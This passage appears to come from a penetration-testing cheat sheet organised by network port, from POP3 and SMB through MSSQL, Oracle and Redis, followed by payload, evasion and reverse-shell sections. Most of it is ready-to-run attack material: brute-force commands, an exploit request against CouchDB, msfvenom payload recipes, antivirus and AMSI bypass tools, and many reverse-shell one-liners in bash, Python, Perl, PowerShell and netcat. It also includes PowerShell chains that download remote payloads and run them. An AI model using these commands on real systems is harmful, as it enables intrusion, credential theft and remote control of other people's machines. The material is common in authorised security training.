# https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/
# https://github.com/GhostPack/Rubeus
# https://github.com/fireeye/SSSDKCMExtractor
# https://gitlab.com/Zer1t0/cerbero
Port 110 - Pop3
telnet 10.11.1.111
USER pelle@10.11.1.111
PASS admin
# or:
USER pelle
PASS admin
# List all emails
list
# Retrieve email number 5, for example
retr 9
Port 111 - Rpcbind
rpcinfo -p 10.11.1.111
rpcclient -U "" 10.11.1.111
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
Port 135 - MSRPC
Some versions are vulnerable.
nmap 10.11.1.111 --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom
# Endpoint Mapper Service Discovery
use auxiliary/scanner/dcerpc/endpoint_mapper
#Hidden DCERPC Service Discovery
use auxiliary/scanner/dcerpc/hidden
# Remote Management Interface Discovery
use auxiliary/scanner/dcerpc/management
# DCERPC TCP Service Auditor
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
impacket-rpcdump
# Enum network interface
# https://github.com/mubix/IOXIDResolver
Named pipe | Description | Service or process | Interface identifier |
---|
atsvc | atsvc interface (Scheduler service) | mstask.exe | 1ff70682-0a51-30e8-076d-740be8cee98b v1.0 |
---|
AudioSrv | AudioSrv interface (Windows Audio service) | AudioSrv | 3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0 |
---|
browser (ntsvcs alias) | browser interface (Computer Browser service) | Browser | 6bffd098-a112-3610-9833-012892020162 v0.0 |
---|
cert | ICertPassage interface (Certificate services) | certsrv.exe | 91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0 |
---|
Ctx_Winstation_API_Service | winstation_rpc interface | termsrv.exe | 5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0 |
---|
DAV RPC SERVICE | davclntrpc interface (WebDAV client service) | WebClient | c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0 |
---|
dnsserver | DnsServer interface (DNS Server service) | dns.exe | 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 |
---|
epmapper | epmp interface (RPC endpoint mapper) | RpcSs | e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 |
---|
eventlog (ntsvcs alias) | eventlog interface (Eventlog service) | Eventlog | 82273fdc-e32a-18c3-3f78-827929dc23ea v0.0 |
---|
HydraLsPipe | Terminal Server Licensing | lserver.exe | 3d267954-eeb7-11d1-b94e-00c04fa3080d v1.0 |
---|
InitShutdown | InitShutdown interface | winlogon.exe | 894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0 |
---|
keysvc | IKeySvc interface (Cryptographic services) | CryptSvc | 8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0 |
---|
keysvc | ICertProtect interface (Cryptographic services) | CryptSvc | 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0 |
---|
locator | NsiS interface (RPC Locator service) | locator.exe | d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0 |
---|
llsrpc | llsrpc interface (Licensing Logging service) | llssrv.exe | 342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0 |
---|
lsarpc (lsass alias) | lsarpc interface | lsass.exe | 12345778-1234-abcd-ef00-0123456789ab v0.0 |
---|
lsarpc (lsass alias) | dssetup interface | lsass.exe | 3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0 |
---|
msgsvc (ntsvcs alias) | msgsvcsend interface (Messenger service) | messenger | 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0 |
---|
nddeapi | nddeapi interface (NetDDE service) | netdde.exe | 2f5f3220-c126-1076-b549-074d078619da v1.2 |
---|
netdfs | netdfs interface (Distributed File System service) | Dfssvc | 4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0 |
---|
netlogon (lsass alias) | netlogon interface (Net Logon service) | Netlogon | 12345678-1234-abcd-ef00-01234567cffb v1.0 |
---|
ntsvcs | pnp interface (Plug and Play service) | PlugPlay | 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 |
---|
plugplay | pnp interface (Plug and Play Windows Vista service) | PlugPlay | 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 |
---|
policyagent | PolicyAgent interface (IPSEC Policy Agent (Windows 2000)) | PolicyAgent | d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5 |
---|
ipsec | winipsec interface (IPsec Services) | PolicyAgent | 12345678-1234-abcd-ef00-0123456789ab v1.0 |
---|
ProfMapApi | pmapapi interface | winlogon.exe | 369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0 |
---|
protected_storage | IPStoreProv interface (Protected Storage) | lsass.exe | c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0 |
---|
ROUTER | Remote Access | mprdim.dll | 8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0 |
---|
samr (lsass alias) | samr interface | lsass.exe | 12345778-1234-abcd-ef00-0123456789ac v1.0 |
---|
scerpc | SceSvc | services.exe | 93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0 |
---|
SECLOGON | ISeclogon interface (Secondary logon service) | seclogon | 12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0 |
---|
SfcApi | sfcapi interface (Windows File Protection) | winlogon.exe | 83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0 |
---|
spoolss | spoolss interface (Spooler service) | spoolsv.exe | 12345678-1234-abcd-ef00-0123456789ab v1.0 |
---|
srvsvc (ntsvcs alias) | srvsvc interface (Server service) | services.exe (w2k) or svchost.exe (wxp and w2k3) | 4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0 |
---|
ssdpsrv | ssdpsrv interface (SSDP service) | ssdpsrv | 4b112204-0e19-11d3-b42b-0000f81feb9f v1.0 |
---|
svcctl (ntsvcs alias) | svcctl interface (Services control manager) | services.exe | 367aeb81-9844-35f1-ad32-98f038001003 v2.0 |
---|
tapsrv | tapsrv interface (Telephony service) | Tapisrv | 2f5f6520-ca46-1067-b319-00dd010662da v1.0 |
---|
trkwks | trkwks interface (Distributed Link Tracking Client) | Trkwks | 300f3532-38cc-11d0-a3f0-0020af6b0add v1.2 |
---|
W32TIME (ntsvcs alias) | w32time interface (Windows Time (Windows 2000 and XP)) | w32time | 8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 |
---|
W32TIME_ALT | w32time interface (Windows Time (Windows Server 2003, Windows Vista)) | w32time | 8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1 |
---|
winlogonrpc | GetUserToken interface | winlogon.exe | a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0 |
---|
winreg | winreg interface (Remote registry service) | RemoteRegistry | 338cd001-2244-31f1-aaaa-900038001003 v1.0 |
---|
winspipe | winsif interface (WINS service) | wins.exe | 45f52c28-7f9f-101a-b52b-08002b2efabe v1.0 |
---|
wkssvc (ntsvcs alias) | wkssvc interface (Workstation service) | services.exe (w2k) or svchost.exe (wxp and w2k3) | 6bffd098-a112-3610-9833-46c3f87e345a v1.0 |
---|
Port 139/445 - SMB
# Enum hostname
enum4linux -n 10.11.1.111
nmblookup -A 10.11.1.111
nmap --script=smb-enum* --script-args=unsafe=1 -T5 10.11.1.111
# Get Version
smbver.sh 10.11.1.111
Msfconsole;use scanner/smb/smb_version
ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'
smbclient -L \\\\10.11.1.111
# Get Shares
smbmap -H 10.11.1.111 -R
echo exit | smbclient -L \\\\10.11.1.111
smbclient \\\\10.11.1.111\\
smbclient -L //10.11.1.111 -N
nmap --script smb-enum-shares -p139,445 -T4 -Pn 10.11.1.111
smbclient -L \\\\10.11.1.111\\
# If got error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED"
smbclient -L //10.11.1.111/ --option='client min protocol=NT1'
# Check null sessions
smbmap -H 10.11.1.111
rpcclient -U "" -N 10.11.1.111
smbclient //10.11.1.111/IPC$ -N
# Exploit null sessions
enum -s 10.11.1.111
enum -U 10.11.1.111
enum -P 10.11.1.111
enum4linux -a 10.11.1.111
#https://github.com/cddmp/enum4linux-ng/
enum4linux-ng.py 10.11.1.111 -A -C
/usr/share/doc/python3-impacket/examples/samrdump.py 10.11.1.111
# Connect to username shares
smbclient //10.11.1.111/share -U username
# Connect to share anonymously
smbclient \\\\10.11.1.111\\
smbclient //10.11.1.111/
smbclient //10.11.1.111/
smbclient //10.11.1.111/<""share name"">
rpcclient -U " " 10.11.1.111
rpcclient -U " " -N 10.11.1.111
# Check vulns
nmap --script smb-vuln* -p139,445 -T4 -Pn 10.11.1.111
# Multi exploits
msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost 10.11.1.111; run
# Bruteforce login
medusa -h 10.11.1.111 -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt
nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.11.1.111 -vvvv
nmap –script smb-brute 10.11.1.111
# nmap smb enum & vuln
nmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 10.11.1.111
nmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 10.11.1.111
# Mount smb volume linux
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share
# rpcclient commands
rpcclient -U "" 10.11.1.111
srvinfo
enumdomusers
getdompwinfo
querydominfo
netshareenum
netshareenumall
# Run cmd over smb from linux
winexe -U username //10.11.1.111 "cmd.exe" --system
# smbmap
smbmap.py -H 10.11.1.111 -u administrator -p asdf1234 #Enum
smbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group "Domain Admins" /domain' -H 10.11.1.111 #RCE
smbmap.py -H 10.11.1.111 -u username -p 'P@$$w0rd1234!' -L # Drive Listing
smbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H 10.11.1.111 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.X""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' # Reverse Shell
# Check
\Policies\{REG}\MACHINE\Preferences\Groups\Groups.xml look for user&pass "gpp-decrypt "
# CrackMapExec
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local
crackmapexec smb 10.55.100.0/23 -u LA-ITAdmin -H 573f6308519b3df23d9ae2137f549b15 --local --lsa
# Impacket
python3 samdump.py SMB 172.21.0.0
# Check for systems with SMB Signing not enabled
python3 RunFinger.py -i 172.21.0.0/24
Port 161/162 UDP - SNMP
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes 10.11.1.111
nmap 10.11.1.111 -Pn -sU -p 161 --script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users
snmp-check 10.11.1.111 -c public|private|community
snmpwalk -c public -v1 ipaddress 1
snmpwalk -c private -v1 ipaddress 1
snmpwalk -c manager -v1 ipaddress 1
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X
# Impacket
python3 samdump.py SNMP 172.21.0.0
# MSF aux modules
auxiliary/scanner/misc/oki_scanner
auxiliary/scanner/snmp/aix_version
auxiliary/scanner/snmp/arris_dg950
auxiliary/scanner/snmp/brocade_enumhash
auxiliary/scanner/snmp/cisco_config_tftp
auxiliary/scanner/snmp/cisco_upload_file
auxiliary/scanner/snmp/cnpilot_r_snmp_loot
auxiliary/scanner/snmp/epmp1000_snmp_loot
auxiliary/scanner/snmp/netopia_enum
auxiliary/scanner/snmp/sbg6580_enum
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/snmp/snmp_enum_hp_laserjet
auxiliary/scanner/snmp/snmp_enumshares
auxiliary/scanner/snmp/snmp_enumusers
auxiliary/scanner/snmp/snmp_login
Port 389,636 - LDAP
Check AD section and this LDAP guide
jxplorer
ldapsearch -h 10.11.1.111 -p 389 -x -b "dc=mywebsite,dc=com"
python3 windapsearch.py --dc-ip 10.10.10.182 --users --full > windapsearch_users.txt
cat windapsearch_users.txt | grep sAMAccountName | cut -d " " -f 2 > users.txt
# Check # https://github.com/ropnop/go-windapsearch
Port 443 - HTTPS
Read the actual SSL CERT to:
- find out potential correct vhost to GET
- is the clock skewed
- any names that could be usernames for bruteforce/guessing.
./testssl.sh -e -E -f -p -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
# Check for mod_ssl,OpenSSL version Openfuck
Port 500 - ISAKMP IKE
ike-scan 10.11.1.111
Port 513 - Rlogin
apt install rsh-client
rlogin -l root 10.11.1.111
Port 541 - FortiNet SSLVPN
Port 1433 - MSSQL
nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111
use auxiliary/scanner/mssql/mssql_ping
use auxiliary/scanner/mssql/mssql_login
use exploit/windows/mssql/mssql_payload
sqsh -S 10.11.1.111 -U sa
xp_cmdshell 'date'
go
EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("whoami")'
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/
Port 1521 - Oracle
oscanner -s 10.11.1.111 -P 1521
tnscmd10g version -h 10.11.1.111
tnscmd10g status -h 10.11.1.111
nmap -p 1521 -A 10.11.1.111
nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute
MSF: good modules under auxiliary/admin/oracle and scanner/oracle
# https://github.com/quentinhardy/odat
./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE
# Upload reverse shell with ODAT:
./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe
# and run it:
./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe
Port 2000 - Cisco sccp
# cisco-audit-tool
CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt
# cisco-smart-install
https://github.com/Sab0tag3d/SIET/
sudo python siet.py -g -i 192.168.0.1
Port 2049 - NFS
nmap -p 111,2049 --script nfs-ls,nfs-showmount
showmount -e 10.11.1.111
# If you find anything you can mount it like this:
mount 10.11.1.111:/ /tmp/NFS –o nolock
mount -t nfs 10.11.1.111:/ /tmp/NFS –o nolock
Port 2100 - Oracle XML DB
Default passwords:
https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm
Port 3306 - MySQL
nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse 10.11.1.111 -p 3306
mysql --host=10.11.1.111 -u root -p
# MYSQL UDF 4.x/5.0
https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
Port 3389 - RDP
nmap -p 3389 --script=rdp-vuln-ms12-020.nse
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.11.1.111
rdesktop -u guest -p guest 10.11.1.111 -g 94%
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://10.11.1.111
python crowbar.py -b rdp -s 10.11.1.111/32 -u admin -C ../rockyou.txt -v
Port 5432 - PostgreSQL
psql -h 10.10.1.111 -U postgres -W
# Default creds
postgres : postgres
postgres : password
postgres : admin
admin : admin
admin : password
pg_dump --host=10.10.1.111 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
Port 5900 - VNC
nmap --script=vnc-info,vnc-brute,vnc-title -p 5900 10.11.1.111
Port 5984 - CouchDB
curl http://example.com:5984/
curl -X GET http://IP:5984/_all_dbs
curl -X GET http://user:password@IP:5984/_all_dbs
# CVE-2017-12635 RCE
# Create user
curl -X PUT ‘http://localhost:5984/_users/org.couchdb.user:chenny' — data-binary ‘{ “type”: “user”, “name”: “chenny”, “roles”: [“_admin”], “roles”: [], “password”: “password” }’
# Dump database
curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u chenny:-Xpassword <ds/_all_docs?include_docs=true -u chenny:-Xpassword
# Dump passwords
curl -X GET http://user:passwords@localhost:5984/passwords
Port 5985 - WinRM
# https://github.com/Hackplayers/evil-winrm
gem install evil-winrm
evil-winrm -i 10.11.1.111 -u Administrator -p 'password1'
evil-winrm -i 10.11.1.111 -u Administrator -H 'hash-pass' -s /scripts/folder
Port 6379 - Redis
# https://github.com/Avinash-acid/Redis-Server-Exploit
python redis.py 10.10.10.160 redis
Port 8172 - MsDeploy
# Microsoft IIS Deploy port
IP:8172/msdeploy.axd
Port 5601/9200
Port 27017-19/27080/28017 - MongoDB
Unknown ports
amap -d 10.11.1.111 8000
- netcat: makes connections to ports. Can echo strings or give shells:
nc -nv 10.11.1.111 110
- sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations
RCE ports
description: Accessing to the victim's system
Exploitation
Payloads
msfvenom
# Creating a payload
msfvenom -p [payload] LHOST=[listeninghost] LPORT=[listeningport]
# List of payloads
msfvenom -l payloads
# Payload options
msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options
# Creating a payload with encoding
msfvenom -p [payload] -e [encoder] -f [formattype] -i [iteration] > outputfile
# Creating a payload using a template
msfvenom -p [payload] -x [template] -f [formattype] > outputfile
# Listener for MSfvenom Payloads:
msf5>use exploit/multi/handler
msf5>set payload windows/meterpreter/reverse_tcp
msf5>set lhost
msf5>set lport
msf5> set ExitOnSession false
msf5>exploit -j
# Windows Payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe
msfvenom -p windows/meterpreter/bind_tcp RHOST= IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
# Linux Payloads
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
# Add a user in windows with msfvenom:
msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe
# Web Payloads
# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
# WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
# Scripting Payloads
# Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
# Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
# Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
# Creating an Msfvenom Payload with an encoder while removing bad charecters:
msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/shikata_ga_nai -b "\x0A\x0D"
https://hacker.house/lab/windows-defender-bypassing-for-meterpreter/
Bypass AV
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
Bypass Amsi
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
Reverse shells
**Tools**
https://github.com/ShutdownRepo/shellerator
https://github.com/0x00-0x00/ShellPop
Linux
# Bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f
nc -e /bin/sh 10.11.1.111 4443
bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1
# Perl
perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c '__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1\'
# Python IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
# Ruby
ruby -rsocket -e'f=TCPSocket.open("IP ADDRESS",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# PHP:
# /usr/share/webshells/php/php-reverse-shell.php
# http://pentestmonkey.net/tools/web-shells/php-reverse-shell
php -r '$sock=fsockopen("IP ADDRESS",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
$sock, 1=>$sock, 2=>$sock), $pipes);?>
# Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
# AWK
awk 'BEGIN {s = "/inet/tcp/0/IP ADDRESS/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
Windows
# Netcat
nc -e cmd.exe 10.11.1.111 4443
# Powershell
$callback = New-Object System.Net.Sockets.TCPClient("IP ADDRESS",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.11',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Undetectable:
# https://0xdarkvortex.dev/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
# Undetectable 2:
# https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
# 64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
# 32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
Tips
# rlwrap
# https://linux.die.net/man/1/rlwrap
# Connect to a netcat client:
rlwrap nc [IP Address] [port]
# Connect to a netcat Listener:
rlwrap nc -lvp [Localport]
# Linux Backdoor Shells:
rlwrap nc [Your IP Address] -e /bin/sh
rlwrap nc [Your IP Address] -e /bin/bash
rlwrap nc [Your IP Address] -e /bin/zsh
rlwrap nc [Your IP Address] -e /bin/ash
# Windows Backdoor Shell:
rlwrap nc -lv [localport] -e cmd.exe
File tranfer
Linux
# Web Server
# https://github.com/sc0tfree/updog
pip3 install updog
updog
updog -d /another/directory
updog -p 1234
updog --password examplePassword123!
updog --ssl
# Python web server
python -m SimpleHTTPServer 8080
# FTP Server
# Install pyftpdlib
pip install pyftpdlib
# Run (-w flag allows anonymous write access)
python -m pyftpdlib -p 21 -w
# In victim:
curl -T out.txt ftp://10.10.15.229
# TFTP Server
# In Kali
atftpd --daemon --port 69 /tftp
# In reverse Windows
tftp -i 10.11.1.111 GET nc.exe
nc.exe -e cmd.exe 10.11.1.111 4444
# Example:
